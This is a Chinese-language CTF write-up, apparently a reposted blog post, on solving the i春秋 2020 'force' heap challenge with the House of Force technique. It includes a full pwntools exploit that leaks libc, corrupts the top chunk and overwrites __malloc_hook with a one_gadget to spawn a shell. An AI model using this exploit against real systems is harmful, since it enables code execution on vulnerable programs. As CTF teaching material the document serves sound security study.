天天看點

i春秋2020新春戰役PWN之forceForce

House of force能夠使我們将堆申請到任意位址,滿足以下條件,即可達到利用

  1. 能夠改寫top chunk的size域
  2. 能夠自由控制堆配置設定大小
  3. 能夠知道目标位址與top chunk位址之間的距離(可以洩露位址,計算出偏移)

詳細見CTF-WIKIhttps://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/

Force

我們以i春秋2020新春戰役的force這題為例

首先,我們檢查一下程式的保護機制

i春秋2020新春戰役PWN之forceForce

然後,我們用IDA分析一下,發現程式顯示給我們堆位址,那麼我們就不用洩露了。并且如果我們申請的堆較小,read可以溢出,如果在top chunk上方,就能修改top chunk的size。

i春秋2020新春戰役PWN之forceForce

現在關鍵是洩露libc位址。Show功能沒有用,是一個忽悠。

i春秋2020新春戰役PWN之forceForce

洩露libc位址,其實也是從add函數裡着手,既然程式顯示給我們堆位址,那麼如果我們申請的堆足夠大,malloc就會使用mmap來配置設定記憶體,而mmap配置設定的記憶體靠近libc,與libc的偏移是固定的,那麼,我們就能計算出libc位址。

幾個條件都達成了,那麼,我們就能利用house of force将堆申請到malloc_hook,寫malloc_hook即可。

綜上,我們的exp腳本

#coding:utf8
from pwn import *

#sh = process('./force')
sh = remote('node3.buuoj.cn',26394)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
realloc_s = libc.sym['realloc']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0x4526a

def create(size,content):
   sh.sendlineafter('2:puts','1')
   sh.sendlineafter('size',str(size))
   sh.recvuntil('bin addr ')
   addr = int(sh.recvuntil('\n',drop = True),16)
   sh.sendafter('content',content)
   return addr

#通過mmap一個堆,我們得到了mmap的堆的位址,就能計算出libc位址
#因為mmap的這個堆靠近libc的位址
libc_base = create(0x200000,'a') + 0x200FF0
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#house of force
#修改top chunk的size為-1,即超級大
heap_addr = create(0x10,'\x00'*0x18 + p64(0xFFFFFFFFFFFFFFFF)) - 0x10
print 'heap_addr=',hex(heap_addr)

top_chunk_addr = heap_addr + 0x20
print 'top_chunk_addr=',hex(top_chunk_addr)
#配置設定偏移大小的chunk,将top chunk移到了malloc_hook_addr - 0x20處
offset = malloc_hook_addr - top_chunk_addr - 0x30
create(offset,'c')
#配置設定到relloc_hook處,寫同時realloc_hook和malloc_hook
create(0x10,p64(0) + p64(one_gadget_addr) + p64(realloc_addr + 4))
#getshell
sh.sendlineafter('2:puts','1')
sh.sendlineafter('size','1')


sh.interactive()
           

繼續閱讀